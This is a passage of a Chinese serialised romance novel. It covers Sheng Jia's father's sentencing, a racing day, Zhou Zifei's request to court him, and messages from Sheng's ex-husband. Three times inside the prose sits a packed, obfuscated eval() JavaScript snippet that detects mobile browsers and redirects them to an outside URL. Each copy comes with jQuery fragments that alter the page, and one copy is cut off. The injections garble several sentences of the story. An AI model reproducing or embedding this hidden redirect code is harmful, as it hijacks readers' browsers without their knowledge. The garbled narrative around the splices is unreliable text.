“你也是全世界最温柔、最好的盛老师。” 周子斐抬手按住盛嘉汗湿的后颈,将人按到自己肩头上,抚摸他汗湿的发,道出最后一句: “所以千万别说自己不好,一切都不是你的错,也不是你应该承受并接纳的,愤怒、委屈、不甘、痛苦,全部都是正常的,都是你本该有的表现。” 盛嘉的视线陷入黑暗,那只温暖而有力的手从他的后脑勺往下滑动,又揉捏着僵硬的颈椎。 这种恰到好处的力道让盛嘉整个人都软了下来,他的心情如同打满了气的气球忽然被松开,轻而易举地全部泄露。 “呜……” 起初只是一声憋不住的哽咽,接着是彻底崩溃的大哭。 这一刻,他才真正卸下了那些压抑的不安,变成可以痛哭的孩子。 他只是想有个人能告诉自己不必去接受那些伤害,也有资格去愤怒、委屈、不甘、痛苦。 从前盛千龙说他该打,后来余向杭说他什么都不用做待在身后就好,从来没有人给过他去宣泄情感的权利。 结婚后,余向杭总问盛嘉,这些年我保护你、照顾你,能有像我对你这么好的爱人,你还有什么不满意的的? 被这样反复质问,渐渐地,盛嘉对自己心里所遭受的苦难失去了敏感,过去的事情也愈发难以开口。 因为余向杭已经足够好,他不该再拿自己的事情去麻烦余向杭。 是啊,麻烦,盛嘉不知道从什么时候开始,觉得自己以及那些痛苦成为了会麻烦余向杭的一部分。 可现在却有个人如此鲜明地看到了他生命中所隐匿的丑陋痕迹,同时平和地接受,认真地肯定。 并告诉他,他很好,面对他所经历的伤害,他有资格去发出哭声和怒吼。 …… 盛嘉双手紧紧揪住周子斐的衣服,头埋在周子斐肩窝放声哭泣,他坐不住地从椅子上滑下来,跪坐在地面上,又被周子斐捞起,抱在怀里。 他像幼鸟蜷缩在那里,而周子斐宽阔的胸膛是丰满的羽翼,为他留出一个独属于他的栖息之处。 周子斐的拥抱变成温暖而安全的巢穴,如果可以,盛嘉真想永远睡在这里,再也不去面对任何风雨。 21. 有恃无恐 盛千龙的判决书很快出来了,他因巨额诈骗和故意伤人被判十二年。 庭审那天,盛嘉是一个人去的。 他坐在那里,看着盛千龙跪在地上痛哭,并高声骂道:“不是我的错,都怪我儿子,都怪他!”,那刻起,盛嘉忽然不恨盛千龙了。 不是因为他原谅了盛千龙,而是他觉得不值得再在这个人身上倾泻一丝情感。 盛嘉小时候一直在想是不是因为他做错了事才会这样,他觉得自己表现得乖一点、听话一点,从前那个爱他疼他的父亲就会回来。 后来长大了,他开始有了恨这种情感,他恨盛千龙为什么要伤害他,明明他们是父子,是亲人,盛千龙却给了盛嘉人生中最多的伤害。 余向杭的出现则以另一种形式加剧了他对盛千龙的恨,余向杭保护他免受盛千龙的伤害,可他却慢慢感受到余向杭越发不耐和疲惫的态度,这让他更恨盛千龙,恨盛千龙永远在阻碍自己走向幸福。 但现在,盛嘉不恨了,他终于明白盛千龙伤害他是没有理由的。 他恨盛千龙,也不过是恨父子感情在盛千龙眼里如此一文不值,恨那个记忆里会将他举高转圈、给他买冰淇淋的父亲突然就不爱他了。 而与其说恨盛千龙,不如说盛嘉更恨自己无力改变这些失去,他恨自己无法得到爱。 在法官宣判结果并敲下法槌时,盛嘉泪流满面。 盛千龙的罪名成为盛嘉释怀的理由,原来不是他的错,而是盛千龙的错。 不是他无法得到爱才会被伤害,而是只有不爱他的人才会伤害他。 在伤害和背叛发生的那一刻开始,过去所有的爱便已经不再成立,就算去思考理由、去试图改变也不过是亡羊补牢。 盛嘉走出法院,顺着阶梯向下走,单薄的身形挺拔,脚步轻快,额前的发被风拂过,他不自觉抬头看向远处,辽阔天空湛蓝而明亮,一双水润的笑眼弯起来。 “今天真是个好天气。” 心中的默念和一个熟悉的男声同时响起,盛嘉闻声看去,周子斐正站在阶下仰脸笑着看他。 - “你怎么来了?” “来接盛老师啊,虽然你说不用来接你,但我今天正好在附近有事,就顺路过来一趟了。” “是……有什么事?” 盛嘉捏紧身前的安全带,他余光悄悄打量了一眼驾驶位上的人。 周子斐穿了件灰黑格子的长袖衬衫,里面是白色的T恤,穿得很随意,也确实不像特意来了一趟。 这些日子他总想着法子开口跟周子斐说清楚,可周子斐比他要圆滑得多,总是将话题绕过去,让盛嘉无从拒绝。 “去训练了,马上又有比赛了,盛老师要来看吗?” 周子斐将车停稳在小区楼下,转身问盛嘉,盛嘉却别着脸沉默不语。 盛嘉被周子斐一日三餐送饭盯着吃,还时不时带上补汤和甜点,脸颊上多了些肉,气色也好了不少,白皙剔透的皮肤透着淡红的血色,一看便知道是被人精心呵护着的。 而他此时侧过脸,抿紧唇,腮边微微鼓起,像跟人闹别扭似的,显得年纪更小。 周子斐视线落在盛嘉那一小块脸颊肉上,眸光闪了闪,完全被盛嘉可爱到,于是他语气放缓,哄小孩一样:“盛老师就去吧,这场比赛很重要的,你不在我都没办法提起劲了,盛老师求求你了,你就答应我,好不好?” “盛老师——求你了——” 周子斐对于盛嘉这段时间的欲言又止心知肚明,也清楚盛嘉想要开口拒绝他,但周子斐就是装傻充愣地赖在盛嘉身边。 盛嘉现在可就盼着他们能保持距离,所以周子斐这时绝不能欲拒还迎或是冷着盛嘉。 周子斐早已经想好了,既然他下定决心朝盛嘉发起冲锋,那就不能要脸,要脸还怎么追到老婆? “盛老师——全世界最好的盛老师——求求你了——” 盛嘉眼瞧周子斐越说离自己越近,手都扯上自己袖子,他耳尖发烫,语无伦次地跟人告别就要下车,结果车门刚拉开又被安全带拽了回来,狼狈地跌回座位。 周子斐没忍住笑出声,引得盛嘉红着脸,难得又羞又气地瞪了他一眼。 这一眼实在没什么威力,盛嘉本就生了一双含情的弯弯笑眼,瞪人也像撒娇,一个自认为恶狠狠的眼刀过去,却在周子斐眼中变成轻飘飘的软勾子,勾得人心里发热。 “你、你笑什么,别笑了!” 盛嘉真是气到了,直腹诽道,都怪周子斐,为什么非要告白,就当朋友不好吗? 弄得自己现在根本不知道该怎么和他相处,这人倒好,跟以前一样,若无其事的,而且还更有恃无恐了,现在甚至会取笑他! 盛嘉用力拔出安全带,转身就要下车。 他完全没意识到,有恃无恐的其实不止周子斐一个人,连他自己也是如此。 从前他们相处,盛嘉大多数时候都是端着情绪的,他知道周子斐对他好,因而更加不敢随意表现出什么。 但现在,也是能跟周子斐耍起小脾气了。 “哎,盛老师别走!我错了,我错了!” 周子斐眼疾手快地握住盛嘉的胳膊将人拉回来,盛嘉先挣了一下,但后来还是拗不过地坐了回去。 “盛老师别生气,我不该笑的,只是盛老师太有趣了,和你在一起总是会忍不住被一点小事随便逗笑,我错了,下次一定注意。” 周子斐诚恳地道谢,盛嘉心脏先是不明所以地又软又热乎,但听到“下次一定注意”,却懊恼、失落起来,他是个没意思的人,不仅无趣,更是笨拙,难得有人说和他在一起开心,他还…… 盛嘉像陷入杂乱毛团的猫,心里浮出不知所措的烦躁。 他不擅长处理这些问题,他就是个笨蛋、白痴,总把一段良好的关系弄得乱七八糟。 就在盛嘉要自暴自弃地想现在就开口,开口叫周子斐再也别来找自己,也别喜欢他时,周子斐出声了。 “为了弥补我的小错误,也为了我以后还能在盛老师这里收获快乐,我请盛老师来看我的比赛吧。” 手里被塞了件东西,盛嘉低下头,看见一张红色鎏金门票。 “是可以去后台互动的门票,盛老师到了就去找我好不好,到时候周佳奕也在,他见了你肯定比我还要开心。” 周子斐一手搭在盛嘉座位靠背上,一手撑在盛嘉面前的仪表台上,他还是笑吟吟地,好像不知道盛嘉内心各种勾勾绕绕的烦恼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219974|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上那双神情专注的眼睛,盛嘉彻底泄了气,无可奈何地点点头。 他想就这一次,就再接受这一次,在这之后,无论周子斐说什么、做什么,他都必须要说清楚。 见盛嘉点头,周子斐肉眼可见地高兴起来,他殷勤又讨好地主动下车替盛嘉开门,又将人送上了楼,这才安心离开。 盛嘉看周子斐一蹦三跨下楼的背影,他关上门,好笑地摇了摇头,也只有这种时候周子斐才看起来像个二十出头的弟弟。 刚走回客厅,又听见有人在楼下大喊,那是格外熟悉的声音—— “盛老师!” 一瞬间,盛嘉脑中闪过无数想法。 周子斐要干什么?他在楼下喊什么?他要和我说什么?他不会是要学偶像剧站楼下告白吧? …… 最后只有一句: 他是傻子吗!怎么能在小区楼底下大喊大叫! 盛嘉冲向阳台刷地一声打开窗,探出头看楼下,只见红发的年轻男人站在三楼楼下,双手比在嘴边。 “你要说什么?” 盛嘉喃喃自语,心脏砰砰直跳,看周子斐深吸一口气,心都吊在嗓子眼。 “盛老师!周末见!” 周子斐只是这样说,说完他朝盛嘉挥了挥手,脸上是张扬的笑容。 一晃神,盛嘉觉得自己记忆里仿佛闪过与之相似的笑容,不是在晴天,而是在某一个雨夜。 只是他还未来得及细细回忆,周子斐便朝盛嘉手指了一下手机,示意盛嘉看消息。 盛嘉打开手机,周子斐给他发:“盛老师,这次周末你会来的,对吗?” 刚要回复,一个沉寂许久的聊天框弹出消息,盛嘉没有细看,只是选择了先划走。 盛嘉认真地一字一句向周子斐保证:“会的,我答应过你的。” 周子斐很快回了一个小狗随着音乐蹦跶的表情包,盛嘉很少用表情包,看到后不禁一乐,先点了收藏,又回复:“这个表情包还挺像你的。” 周子斐先是发了一个小狗皱眉的表情包,随后是小狗挺胸膛、得意摇尾巴。 两人有一搭没一搭地聊着,直到周子斐叫人给盛嘉送的晚饭到了,他才主动结束聊天,催着盛嘉赶快去吃晚饭。 而盛嘉这时也才想起刚才那条消息,他点开聊天框,只见上面显示: “盛千龙的事情解决了吗?” 盛嘉犹豫着,还是只简单回复了一个“嗯”字。 对面似乎话被堵住,半天也没再发消息,盛嘉不明所以地放下手机。 等吃完晚饭又洗漱干净后,手机再次响起,这一次看到消息,盛嘉愣了好一会。 他看向客厅落地窗外的夜色,小区内每家每户都亮着灯。 离婚后每晚他看着那一格格灯光,总会十分落寞,也十分羡慕。 毕竟从前这样的家中灯光也有一盏是属于他的。 而在搬到这边独居后,无论灯有多亮,他都觉得又黑又冷。 手机那头还在发消息,盛嘉沉默地看着,最后还是打下几个字。 “不可以,我们已经离婚了。” 这句话终止了余向杭发来的消息,一整晚都没再有任何动静。 22. 资格 周末是个大晴天,盛嘉去赛场后台时,周佳奕正赖在周自费身上喊着要吃糖。 “周佳奕赶快下去,等会儿盛老师来了我叫他教训你——” 周子斐一大早特意打理的发型被周佳奕抓得乱糟糟的,心里想打孩子,偏偏又怕周佳奕跟盛嘉告状。 盛嘉站在门口收到周子斐狼狈求助的目光,憋着笑轻咳了一声,随后严肃地开口:“奕奕,缠着舅舅干什么呢?” 周佳奕闹腾的背影顿时一僵,他转过头,脸颊上的肉都抖了一下,但很快见到最喜欢的盛老师的开心占了上风,他从周子斐身上蹦下来,直直扑到盛嘉腿边。 “盛老师!我想你了!” 盛嘉弯腰一把将周佳奕抱起来,他亲昵地拧了拧小孩的鼻尖,语气轻快:“盛老师也想奕奕了。” “周佳奕,星期五你和盛老师不才见过吗,这还不到一天就想了?” 周子斐也想要抱着盛嘉说想他了,可他自知是没有周佳奕这么好的待遇的,便只能挤兑外甥几句。 “舅舅你不懂,因为我很爱盛老师,所以我们有一小会儿不见,我都会特别想盛老师!” 周佳奕大声说完,还抱着盛嘉的脸亲了一口。 盛嘉被小孩子毫无保留的爱意猝不及防击中,笑得眼睛弯成月牙,他在周佳奕的额头上亲了一下,表示自己也很爱奕奕。 周子斐彻底输给了自己五岁的外甥,看两个人搂着互相说“我爱你”,简直酸得牙疼。 “还敢说我不懂,难道你一五岁小孩就懂爱了?” 周子斐伸手探向周佳奕咯吱窝,不停挠他,惹得周佳奕在盛嘉怀里像只小猪拱来拱去的。 直到有工作人员来催促,几人才停下玩闹。 “盛老师,今天看台风大,你就带周佳奕在后台休息室看比赛吧,等结束后,我带你也去体验一把赛车。” 周子斐一边脱外套,准备去换上赛车服,一边跟盛嘉嘱托。 “可、可是我不会……” “没事,不用担心,那些赛车都是专门给游客体验的,你就当玩一样。” 盛嘉有些犹豫,但心里也确实好奇。 随着盛千龙的事情被解决,盛嘉对于生活的热情正在慢慢复燃,尽管那火光非常微小,却一点点地照亮盛嘉从前黯淡无光的世界。 “我就当盛老师答应了。” 周子斐笑着一锤定音,他又转而看向一直在说“我也要去”的周佳奕。 “周佳奕别闹,你是小孩还不能去,到时候你刚坐上去就会断胳膊断腿。” 周佳奕被舅舅捏了一下胳膊,吓得一头埋到盛嘉怀里,顿时不敢再说要去。 “盛老师,那我走了?” “嗯……” 就在周子斐要关上休息室的门时,盛嘉忽然叫住了他。 周子斐闻声看向灯光下的人,盛嘉黑发柔顺地搭在肩上,白皙脸颊上浮着淡粉,眼神柔软,他的怀里抱着周佳奕,看起来像丈夫出门前忍不住关心几句的妻子。 “子斐,比赛加油。” 自从被周子斐告白后,盛嘉很久没再这样叫过,但这次,他还是轻声开口。 他始终记得赛场上意气风发的年轻赛车手,那是他不曾有过且心怀羡慕的模样。 盛嘉希望这样的周子斐可以一直鲜活地出现在赛场上。 而周子斐静静地注视盛嘉,他不明白怎么会有人这么能拿捏住他的心。 说的每一句话,脸上的每一个神情,都能轻而易举让他怦然心动。 “盛老师,有你在,我无往不胜。” 盛嘉还没反应过来,就被周子斐用力抱紧,两人胸膛之间的周佳奕被挤得“哎呀”一声。 周子斐温暖的手掌在盛嘉肩头轻轻按了一下,随即主动松开手,只留给盛嘉一个明朗的笑容,便利落地转身离开。 - “我们可以看到九号选手周子斐目前已经领先半圈了,今天他的势头非常猛。” “没错,从上个赛季开始,周子斐选手在赛场上可以说十分顺利,不管是训练赛还是今天的正式赛,成绩都很好。” 解说的内容逐渐来到最后一圈,盛嘉紧张地盯紧屏幕,双手在胸前交握扣紧,红润的唇也抿着,而周佳奕已经坐不住地在地上又蹦又跳,不停喊“舅舅加油”。 很快,那辆熟悉的赛车以一骑绝尘的姿态穿过终点线,赛场正中的大荧幕周子斐的名字稳居第一名的位置,解说大声道出恭喜。 “赢了!” “舅舅赢了!” 盛嘉半跪在地上和周佳奕击掌,他们搂在一起仰头看着屏幕欢呼,盛嘉更是眼睛亮晶晶的,脸颊也激动地发红。 周子斐这次赛后采访回答得十分迅速,不出二十分钟,休息室的门便被推开。 “走吧,盛老师,我带你去玩!” 他手上还提着头盔,红色的发也汗湿着贴在额头上,但却目光如炬地朝盛嘉看去,里面坦诚的爱意几乎烫伤盛嘉。 …… 周佳奕被周子斐托付给信任的助理,盛嘉这才和周子斐朝赛场附近的体验中心走。 盛嘉本以为二十岁出头的男生都更乐意在喜欢的人表现得无所不能,所以大概是周子斐教自己,没想到周子斐十分谨慎地请了一个教练来讲解,并自然地表示自己在这方面不行: “我怕我说的不够仔细,毕竟我从来没教过别人,可能没办法完全教明白你,再加上也担心到时候你上赛道会受伤,所以还是请一个有教学经验的教练比较安全。” 上了车,教练先是载着两人跑了几圈熟悉赛道,才开始教盛嘉如何打火、加减档,在边学边跑的过程中,盛嘉慢慢掌握了技巧。 起先周子斐还不太放心盛嘉一个人在车上,但发现自己坐在旁边,盛嘉反而更紧张,就像巢穴多了个陌生物种的小动物一样,僵硬又小心地转动方向盘,油门也变成了扎脚的钉子,不敢踩实。 见有自己在的跑车比人走得还慢,周子斐只好无奈地下了车。 盛嘉身边少了个职业赛车手,终于能放开了跑,他先是试探地提速,再到后面直接猛踩油门,跑车窜出去时的推背感令盛嘉不自觉地兴奋起来。 前方没有阻碍,只需要不断加速、加速、加速! 在拐过弯道后,车身摇摆带来短暂的眩晕,如同即将进入另一个世界的前奏。 汗水从盛嘉额角往下滴落,但他毫不在意。 好像所有烦恼都随着飞驰的车影被甩向后方,一圈圈跑下来,浑身都轻了,盛嘉从来没有感觉自己这么自由、轻松。 最后还是发酸的手臂和车内通讯传出的声音叫醒了盛嘉。 “盛老师,你已经跑了很久了,该休息休息了,不然第二天身上会酸痛不舒服的。” 盛嘉这才放慢了速度,将车停在赛道尽头。 “好玩吗,盛老师?” 周子斐笑着朝车内的盛嘉伸手,盛嘉没有拒绝地握住周子斐的手心,打开车门时他发现自己竟然胳膊和腿都在轻微发抖,这让他只能由周子斐扶着钻出车。 “呼——” 盛嘉摘下头盔,呼吸到新鲜空气,这才回答:“好玩,就是没想到会这么消耗体力。” “是这样的,所以我的体力被锻炼得非常好,就算盛老师没力气了,我还是能扶稳盛老师。” 周子斐挑眉笑了一下,他的表情看起来有点坏。 盛嘉不明所以,琢磨了会儿才察觉出周子斐语气里的调戏,他本就热得发红的脸颊更红了,简直像熟透了的柿子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219975|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人有一搭没一搭地闲聊,周子斐不知道从哪拿出两罐可乐,他们靠在跑道外停着的一辆赛车旁,一边喝可乐,一边休息。 “感觉自己以前的生活真的太简单了,没想到还有这么多好玩的东西。” 盛嘉不禁感慨,他眼眸明亮,头发汗湿,整个人散发着几个月前从未有过的蓬勃生气。 “盛老师以前的生活都是什么样的?” “以前的生活啊,早上起床做好两人份的早饭,然后去幼儿园上班,下班后再去超市买菜,赶回家烧晚饭,晚上……什么也不做,就躺在床上,要么看书,要么发呆。” “那周末呢?” 周子斐余光看了一眼盛嘉,发现他如今再提起离婚前的日子面容平静,既没什么落寞,也没什么难过,就像在说另一个人的生活。 “周末就在家打扫卫生,再做好午饭和晚饭送去我前夫公司的前台,他偶尔会下楼和我说几句话,大部分时候都是给我发条‘收到’的消息。” 盛嘉轻轻晃了晃可乐罐,现在聊着和余向杭在一起的日子,他发现自己能说的却只有普通而平淡的一日三餐。 曾经的年少时光变得朦胧,连那些甜蜜时刻,都因婚后咀嚼过无数次而让盛嘉觉得失去味道,很难想起是什么感觉。 盛嘉不禁茫然起来,他上一次怀着爱恋和不舍回忆余向杭是什么时候? 他发现自己竟然不记得了,好像爱上余向杭的记忆是模糊的,不再爱余向杭的记忆也是模糊的。 那么他是真的有爱过这个人吗? 盛嘉忽然开始思考起这样的问题。 周子斐见盛嘉陷入沉默,主动开口打断了话题,他询问起盛嘉最拿手的菜是什么,而盛嘉的注意力也很快转移。 从最拿手的菜,到最讨厌的食物,再到爱吃的水果,到后面,他们的话题甚至已经歪向人类可能是从鱼类进化而成的,所以吃鱼是不是变相地在吃他们的祖先? “总之,有时候觉得世界真的好大啊,还有那么多的事情我都不知道,也没有体验过,光是想一想就觉得,生活还真是其乐无穷。” 盛嘉不乐意再讨论鱼类和祖先的问题了,他发出这样的感慨。 周子斐看向盛嘉仰头看着天空的侧脸。 随风扬起的发,纤长的睫毛,温柔的眼睛,挺直的鼻梁,勾起的红唇…… 或许盛嘉从不知道,他这样安静地注视天空,就像未染世事的少年,看起来柔软又纯稚。 周子斐心中一动,他脚步挪动了一下,搭在车盖上的手也悄悄挨近盛嘉的手。 随后,他语气柔和地朝盛嘉说: “盛老师,这世界是还有很多你没体验过的事,但我都愿意陪你去做。” “所以我想问问你,能不能给我一个资格?” 他们站在赛道边的草地上,一起倚靠着赛车门,手里拿着可乐罐。 在这样一个很随意的场景中,上一句还在说无聊的话题,周子斐却忽然认真起来。 盛嘉有些惊讶地转过头看周子斐,周子斐只是微笑着和盛嘉对视。 他对盛嘉的爱总在一些很小、很不起眼的时刻变得浓烈。 尽管他是一个藏不住情感的人,但由于对象是需要郑重以待的盛嘉,他便总在寻找合适的机会更进一步地靠近。 而此时,他的身边正站着一个快乐的、放松的盛嘉,于是他想就是现在了。 该吹响他踏上爱情之旅的冲锋号角了。 “什么资格?” “追你的资格。” 盛嘉闻言呆住了,他眼睛瞪得溜圆,眨也不眨地看周子斐。 说完,周子斐似乎觉得还不够,他又凑近了一点,诚恳地开口。 “盛老师,我追你吧。” 23. 同意 盛嘉不懂“追”的意思,他也从没被人追过。 从前和余向杭在一起,两个人只是天天一起上下学,然后某天余向杭吻了他,他们就这么稀里糊涂地恋爱了。 “什、什么叫追?” 见盛嘉一副傻愣愣的模样,周子斐没忍住轻轻揉了一下盛嘉的头,又在盛嘉反应过来前及时收回。 “追啊……追就是,我喜欢你,想对你好,而你想接受就接受,但要是你烦了也可以跑远,然后我在你后面边哄边跟着。” “等哪天你不想跑了,觉得停在原地休息和我站在一起不动,又或者慢慢往前走也还不错,就代表我追到你了。” 接着,周子斐没有一丝停顿地开口: “盛嘉,我真的很喜欢、很喜欢你,希望你能给我一个机会留在你的身边。” 这一次他没有丝毫的委婉,直接打出了盛嘉无法逃避的一击。 盛嘉被定住一般,他看着周子斐,对方也正低头专注地注视他。 此刻万籁俱寂,跑道上赛车疾驰的引擎声,轮胎擦过地面的尖啸声全部都在远去。 可盛嘉还是觉得心绪嘈杂,胸腔内的声音震耳欲聋。 “不行,子斐,我不能答应你……” 盛嘉捏紧了可乐罐,指尖用力攥得发白,却又下意识叫出了亲密的称呼。 慌乱之中,他垂下视线,还在试图挣扎。 “我、我离过婚,而且还有一个坐牢的父亲,我性格很无聊,只是一个普通的幼师,我还,我还身上有很多让人倒胃口的疤,而你家世不凡,长得好看,人也好,还是这么优秀的赛车手,我们不合适的。” “我比你大了十岁,你还年轻,没有必要在我这里浪费时间的,你会遇见更好的人,我不值得你对我这么好。” “子斐,我很感谢你对我的照顾,也很感谢你那次救了我,但是、但是,我们真的不行,不能在一起,你喜欢我多亏啊——” 周子斐忽然握住盛嘉的手,打断了他的话。 温暖干燥的手掌让盛嘉心尖一颤,他既无法甩开,也无法回握。 “盛老师,我追你是不需要你回馈什么的,你不用考虑结果,也不用为我权衡利弊。” “就像我说的,你想接受就接受,不想接受就跑远,你唯一需要考虑的是你自己的心情,我怎么想、怎么做,那是我自己该处理好的事情。” 盛嘉被周子斐覆住的手指动了动,另一只手还是捏着可乐罐,他低头一言不发,而周子斐则耐心地等待着。 片刻后,盛嘉才问:“你为什么喜欢我,我们……认识的时间应该不长吧,你怎么确定我就是你最想要的人。” 听闻,周子斐轻声笑起来,他看向盛嘉,缓缓开口: “盛老师,这世上有些人哪怕和恋人磋磨很多年,最后还是会分开,而等到这时才发现原来对方并不是他真心想要的。” “但有些人只需要一眼就能确定什么人是他这辈子,唯一想要长长久久的爱人,一旦遇上,其他的人都变得不再重要。” 听到这样的话,盛嘉陷入思索,他不自觉地想到上一段六年的婚姻。 周子斐喝了一口可乐,顿了顿,才继续说: “我确信盛老师就是我命中注定会永远爱着的人,这不需要花很长的时间来确认,因为只要一眼,第一眼,我就确定,我再也没办法在别人身上搁置我的爱,我的激情和快乐。” “我的全部只想给你。” 盛嘉心神俱震,他抬起了头,发觉周子斐一直在注视着他。 从来没有人对盛嘉说“我的全部只想给你”,用这种不值一提又理所当然的语气。 即便是余向杭,即便是他们热恋期间,盛嘉也从未听到过类似的话。 这世上的爱大多是有条件的,更不会有人无私到会将自己的一切交给别人, 盛嘉喃喃问道:“全部给我……那如果有一天我反而伤害了你,你要怎么办?” “我相信盛老师不会这样做的。” “如果呢?” 周子斐从盛嘉手中接过那个早已被捏变形的可乐罐,他朝前走了几步,抬手轻巧地把它扔到不远处的垃圾桶里。 “如果有这么一天,一定是因为我先伤害了盛老师,可能我给你的东西是你不想要的,可能你感觉到的不是我所说的,所以你才会做出这样的选择。” 盛嘉跟着站直身体,只见周子斐转过头,在阳光下伸出了左手。 “盛老师,真正的爱,是不会让人想要抗拒排斥的。” “我们相处的这段时间你有感觉到快乐吗,哪怕只是一点,那都足以成为你接受我追求的理由。” “不要去想结果了,也不要去想值不值得,就只为自己考虑一次,好不好?” 周子斐的手掌比他要大,手指修长,每一次握上去都是温暖的,这是盛嘉永远无法拒绝的触感。 盛嘉慢慢走上前,随后将手放在周子斐掌心。 “好。” 只为自己考虑一次。 盛嘉想知道周子斐口中“交付全部”、“不会被伤害”的爱到底是什么样的。 但所谓同意追求,其实已经象征着他们即将成为恋人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219976|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一点,盛嘉不懂,周子斐却清楚地明白。 他握紧盛嘉的手,五指温柔嵌入盛嘉指间,和人十指相扣。 而盛嘉想着周子斐说了他只需要考虑自己的心情,现在他被周子斐的手暖乎乎地牵着,感觉挺舒服的,是不是接受也没什么关系? 他们就这样牵着手离开了体验中心,直到去接周佳奕才松开。 周子斐向来进退有度,今天刚得到盛嘉的同意,在送盛嘉回家后也没有多停留,只是叮嘱了几句,让盛嘉回去泡个热水澡,早点休息。 盛嘉脚步轻快地上了楼,刚打开家门,手机便收到了消息。 “我分手了。” 又是余向杭的消息。 盛嘉原本漂浮的一颗心沉了下去,他不知道余向杭这几天到底是什么意思。 先是询问盛千龙的事,又自顾自地说起曾经秋天和盛嘉一起去公园看枫叶的事,最后甚至说想和盛嘉在从前的家里见一面。 现在连分手的事也要和盛嘉说。 可他们已经离婚好几个月了,两人上次联系还是余向杭单方面拉黑盛嘉的一个多月前。 盛嘉看着这条消息,生出一点倦怠,他不愿意再像过去一样,承接余向杭所有的负面情绪。 于是他没有回复,只是按周子斐所说的,好好地泡了个热水澡,很早就躺上了床。 但手机却还是时不时震动一下。 “盛嘉,你最近过得好不好?” “今晚我还没有吃饭,因为我忽然好想吃你做的鱼,还想吃你常买的卤牛肉。” “之前打碎的那个花瓶,我跑了好久的手工市场,才买到一个一模一样的。” “我们的戒指还在,我没有扔掉。” “我想你了,离婚后一到晚上,就会很想你,有时还会睡不着。” 看到这,盛嘉终于忍不住了,他才发觉余向杭是多么的不可理喻。 余向杭怎么能说想念盛嘉? 他怎么能、怎么敢说得出口? 难道他不是最没资格说这句话的人吗? 花瓶已经碎掉了,戒指也还回去了,盛嘉如今过得好不好,和余向杭没有任何关系。 就算之前再怎么不好,现在早过去了。 “余向杭,我过得很好,别再发这些消息了。” 盛嘉发完消息,便直接关机,在床上躺好,盖上了被子。 他本以为自己会因为余向杭睡前这几条消息而失眠,没想到头刚挨上枕头,意识就昏沉起来。 大概是白天消耗了太多体力,盛嘉很快跌入了香甜的睡梦之中。 24. 留宿 入秋之后,难得有个温度适宜、天气晴朗的周末,在周佳奕的要求下,盛嘉和周子斐带着他去了附近湿地公园野餐。 “所以盛老师的前夫现在又想复合了?” 周子斐坐在野餐垫上问,不远处,周佳奕正蹲在落叶堆里玩叶子。 盛嘉指尖沿着野餐垫的黄色格纹轻轻划动,语气茫然:“我也不知道,他没有说,我不知道他是什么意思。” 这几周余向杭的短信不断,有天晚上还打了一通电话,但盛嘉当时正跟周子斐在羽毛球馆打球,并没有接到。 等事后他回拨过去时,余向杭又一直不接,盛嘉满头雾水,却也没多在意。 余向杭虽在这之后消停了几天,但很快又跟疯了一样给盛嘉发消息,说想见面,说他没办法再忍下去了。 “我劝过他,让他实在难受,就去找心理医生聊一聊,或者跟他的男友坦白他没办法接受分手,可是他只是不停地问我是不是恨他。” 盛嘉琢磨着,觉得余向杭大概是刚分手太孤单了,所以才会想到自己,想在这里得到安慰。 但他能给余向杭的也不过这简单的几句话。 这段时间,连盛嘉自己都对自己的反应感到惊讶。 他曾在余向杭身上倾注了近十年的爱和关心,如今再面对余向杭,心底却像干涸的溪流,所有情感都无法再理所当然地奔腾并流向这个人。 “那盛老师恨他吗?” 周子斐眉眼专注,公园内的明媚秋色无法吸引到他分毫,他的视线始终落在盛嘉身上。 听到这句话,盛嘉几乎没有任何犹豫地回答:“不恨,我当然不恨。” “可能刚离婚那阵有点,但是慢慢地就不恨了,想起他就像……” 顿了顿,盛嘉思考着措辞,最后说:“就像一个认识了很久的人,我们经历了很多事,我记得他救过我,给过我温暖,也记得他也伤害过我,让我痛苦过,但现在想起来,会觉得这些事都只是我的经历。” 一片火红的枫叶随风而动,最后落在盛嘉膝盖上,盛嘉指尖捻起叶梗,将这片枫叶放在周佳奕专门收集树叶的盒子里。 每个人多少都遇见过一些难以忘怀的人,体会过一些痛彻心扉的事,可过去了,就是过去了。 他们会被存放在记忆的角落,虽然丢不掉,却也不会影响下一段人生。 “嗯,人都是要向前走的,你前夫迟早会明白这个道理,盛老师不用在意。” 周子斐如是总结,轻飘飘地揭过这个话题。 “舅舅你看!这是两个长在一起的叶子,就像我和盛老师,天天都会在一起!” 周佳奕欢快地跑过来,他扑到盛嘉怀里,头枕在盛嘉腿上,给两人看手里的一大一小连着的叶片。 “天天在一起?” 